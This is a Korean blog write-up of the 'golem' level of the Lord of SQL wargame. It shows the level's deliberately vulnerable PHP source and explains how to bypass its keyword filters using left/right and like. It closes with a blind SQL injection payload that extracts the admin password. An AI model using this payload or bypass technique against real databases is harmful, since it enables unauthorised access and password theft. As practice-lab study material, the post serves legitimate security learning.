query : select id from prob_golem where id='guest' and pw=''
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
blind sqli 문제네요. or, and, substr(, =를 필터링중입니다. substr이 필터링 되어있을 시 left, right를, =(이퀄)이 필터링 되어있을 시 like를 사용하여 쿼리문을 작성할 수 있습니다. (자세한 내용은 웹해킹 SQLI 우회기법 정리 - Webhacking SQL Injection Bypass Honey Tips 참조)
?pw='||id like('admin')%26%26right(left(pw,1),1)like(0x41)%23
payload
'Web > LOS (Lord of SQL)' 카테고리의 다른 글
los(lord of sql) level 13 - bugbear (0) | 2018.08.21 |
---|---|
los(lord of sql) level 12 - darkknight (0) | 2018.08.21 |
los(lord of sql) level 10 - skeleton (0) | 2018.08.21 |
los(lord of sql) level 9 - vampire (0) | 2018.08.21 |
los(lord of sql) level 8 - troll (0) | 2018.08.21 |